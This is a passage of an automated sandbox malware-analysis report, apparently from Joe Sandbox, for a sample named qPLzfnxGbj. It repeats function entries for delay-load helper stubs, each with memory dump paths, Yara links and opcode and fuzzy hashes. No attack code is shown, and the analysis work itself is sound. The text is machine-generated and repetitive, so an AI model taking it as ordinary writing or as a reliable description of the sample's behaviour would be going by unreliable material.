                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: a3ae9efe5169e09fb1f771c850c0d3e27c90c60954d943f73153844d9b93b32a
                                                              • Instruction ID: 2615e22b93753b86564c549f3f14f20c29d4a4a852f40e4acb865a3de9d5d3cb
                                                              • Opcode Fuzzy Hash: a3ae9efe5169e09fb1f771c850c0d3e27c90c60954d943f73153844d9b93b32a
                                                              • Instruction Fuzzy Hash: 21A001966AD112BD3B0866617E06C7B021DC9C9BA63718A1EF442C5583A881998A1435
                                                              Function 00D94976 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: bdc7cb7eff65527b9c6cc98ddf40e3317c0ec10811978a4a3ae66f4e973d2040
                                                              • Instruction ID: 2615e22b93753b86564c549f3f14f20c29d4a4a852f40e4acb865a3de9d5d3cb
                                                              • Opcode Fuzzy Hash: bdc7cb7eff65527b9c6cc98ddf40e3317c0ec10811978a4a3ae66f4e973d2040
                                                              • Instruction Fuzzy Hash: 21A001966AD112BD3B0866617E06C7B021DC9C9BA63718A1EF442C5583A881998A1435
                                                              Function 00D94A02 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94918
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: f5638d1d593d7bad63c69f328028ca865588024c8725c9c7237da4b24ddc11e1
                                                              • Instruction ID: 2615e22b93753b86564c549f3f14f20c29d4a4a852f40e4acb865a3de9d5d3cb
                                                              • Opcode Fuzzy Hash: f5638d1d593d7bad63c69f328028ca865588024c8725c9c7237da4b24ddc11e1
                                                              • Instruction Fuzzy Hash: 21A001966AD112BD3B0866617E06C7B021DC9C9BA63718A1EF442C5583A881998A1435
                                                              Function 00D94B85 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 6e042e1c8f0c0d273f1e778df1cbda354bc320a928865d67624a358e81e428ac
                                                              • Instruction ID: 8f39110e047b69526ff7b2b587d83a189d3e48592aff49e01a5e308b9965c697
                                                              • Opcode Fuzzy Hash: 6e042e1c8f0c0d273f1e778df1cbda354bc320a928865d67624a358e81e428ac
                                                              • Instruction Fuzzy Hash: 74A001962AE113BD3A0866566E17D7B121DC9C6F66331AA1AF542C5187A880988A1135
                                                              Function 00D94B53 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 7c5c2217eefd3ca48ce0595d2a280cdc4a13a98576dc340e694e605336a3c6d7
                                                              • Instruction ID: 8f39110e047b69526ff7b2b587d83a189d3e48592aff49e01a5e308b9965c697
                                                              • Opcode Fuzzy Hash: 7c5c2217eefd3ca48ce0595d2a280cdc4a13a98576dc340e694e605336a3c6d7
                                                              • Instruction Fuzzy Hash: 74A001962AE113BD3A0866566E17D7B121DC9C6F66331AA1AF542C5187A880988A1135
                                                              Function 00D94B49 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: e882bec52e59bbaaa6f014fb7cac3e45993414840c3c1d269d0c15aea57c34ce
                                                              • Instruction ID: 8f39110e047b69526ff7b2b587d83a189d3e48592aff49e01a5e308b9965c697
                                                              • Opcode Fuzzy Hash: e882bec52e59bbaaa6f014fb7cac3e45993414840c3c1d269d0c15aea57c34ce
                                                              • Instruction Fuzzy Hash: 74A001962AE113BD3A0866566E17D7B121DC9C6F66331AA1AF542C5187A880988A1135
                                                              Function 00D94B7B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: e46d3b59404d0f68577335711796153160b8c55ad17fabc8958c98d1c2b133ef
                                                              • Instruction ID: 8f39110e047b69526ff7b2b587d83a189d3e48592aff49e01a5e308b9965c697
                                                              • Opcode Fuzzy Hash: e46d3b59404d0f68577335711796153160b8c55ad17fabc8958c98d1c2b133ef
                                                              • Instruction Fuzzy Hash: 74A001962AE113BD3A0866566E17D7B121DC9C6F66331AA1AF542C5187A880988A1135
                                                              Function 00D94B71 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: cf10116073af1e980a52ccdebedbdbaf41ae0b2ee788f79cce1f302106c54daa
                                                              • Instruction ID: 8f39110e047b69526ff7b2b587d83a189d3e48592aff49e01a5e308b9965c697
                                                              • Opcode Fuzzy Hash: cf10116073af1e980a52ccdebedbdbaf41ae0b2ee788f79cce1f302106c54daa
                                                              • Instruction Fuzzy Hash: 74A001962AE113BD3A0866566E17D7B121DC9C6F66331AA1AF542C5187A880988A1135
                                                              Function 00D94B2E Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94B3B
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: a67fbcb70b38565127007235cae04e31bb5118f399008d2572e7af326cb19d6a
                                                              • Instruction ID: 154e54bebe58162096a5924d301ed20c3dcbe918e42dd217b454430bfd079d9c
                                                              • Opcode Fuzzy Hash: a67fbcb70b38565127007235cae04e31bb5118f399008d2572e7af326cb19d6a
                                                              • Instruction Fuzzy Hash: 54A011822AE002BC3A082202AE03C3B020CCCC2F22330A20AF002C0083A880888A0030
                                                              Function 00D94CDA Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: f298fd79bba5c12890a438fd92ed9af6f03addb6913188b649efe8b3b43c8364
                                                              • Instruction ID: b651008d5c018f125aa5bff74aea81cc4c1710cc7bc628e3807619ed29799730
                                                              • Opcode Fuzzy Hash: f298fd79bba5c12890a438fd92ed9af6f03addb6913188b649efe8b3b43c8364
                                                              • Instruction Fuzzy Hash: 3CA001966AE116FD3A4866516E06C7A021DC9C5B623328A1AF442D5693A890588A1035
                                                              Function 00D94CD0 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 4c0cbaedff9fd9431b43d7034e63c4dc3659ef9cba34635ea30df4bf9b42a7a3
                                                              • Instruction ID: b651008d5c018f125aa5bff74aea81cc4c1710cc7bc628e3807619ed29799730
                                                              • Opcode Fuzzy Hash: 4c0cbaedff9fd9431b43d7034e63c4dc3659ef9cba34635ea30df4bf9b42a7a3
                                                              • Instruction Fuzzy Hash: 3CA001966AE116FD3A4866516E06C7A021DC9C5B623328A1AF442D5693A890588A1035
                                                              Function 00D94CC6 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 0a6db118cde5ad573c6c11833d383852a5ba5018c950ca92c1b6e12e306eddd7
                                                              • Instruction ID: b651008d5c018f125aa5bff74aea81cc4c1710cc7bc628e3807619ed29799730
                                                              • Opcode Fuzzy Hash: 0a6db118cde5ad573c6c11833d383852a5ba5018c950ca92c1b6e12e306eddd7
                                                              • Instruction Fuzzy Hash: 3CA001966AE116FD3A4866516E06C7A021DC9C5B623328A1AF442D5693A890588A1035
                                                              Function 00D94CFF Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94CF1
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: e7e8d443655733f156be3e96f9502017722b709af5693b9f2d6d150e4879f2b8
                                                              • Instruction ID: 72e9537a2213004e827d5522b9dfa29d1c0a1a330ec1bd90781247ea2c646cd4
                                                              • Opcode Fuzzy Hash: e7e8d443655733f156be3e96f9502017722b709af5693b9f2d6d150e4879f2b8
                                                              • Instruction Fuzzy Hash: 4CA0019A2AE513BD3B0876616E06C7B021DD9D5B623318A1AF442C5183A9815C8A1035
                                                              Function 00D94CE4 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94CF1
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: 0e1a57d065688ff3ce0aa8b4579d09e2c69750182de061bf682a41d9bf342aa0
                                                              • Instruction ID: 7d31513c10bd04d325066c59b8670df59abd24fdf051e7ca2bd10a1cc7996d3b
                                                              • Opcode Fuzzy Hash: 0e1a57d065688ff3ce0aa8b4579d09e2c69750182de061bf682a41d9bf342aa0
                                                              • Instruction Fuzzy Hash: 50A0019A2AE512BE3B0876616F06C7B021DD9D1B22331861AF442D5183A9815C8A1075
                                                              Function 00D94CA8 Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • ___delayLoadHelper2@8.DELAYIMP ref: 00D94C90
                                                                • Part of subcall function 00D94FCE: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00D95041
                                                                • Part of subcall function 00D94FCE: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00D95052
                                                              Memory Dump Source
                                                              • Source File: 00000000.00000002.2304359261.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true
                                                              • Associated: 00000000.00000002.2304336927.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304395217.0000000000DAC000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DB9000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304423233.0000000000DC2000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DC7000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              • Associated: 00000000.00000002.2304516058.0000000000DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_0_2_d70000_qPLzfnxGbj.jbxd
                                                              Similarity
                                                              • API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
                                                              • String ID:
                                                              • API String ID: 1269201914-0
                                                              • Opcode ID: b5682496070b83c5c5d5894cd9a9269ba2a3e9843bf6067507b0929cadbf1b53
                                                              • Instruction ID: b651008d5c018f125aa5bff74aea81cc4c1710cc7bc628e3807619ed29799730
                                                              • Opcode Fuzzy Hash: b5682496070b83c5c5d5894cd9a9269ba2a3e9843bf6067507b0929cadbf1b53
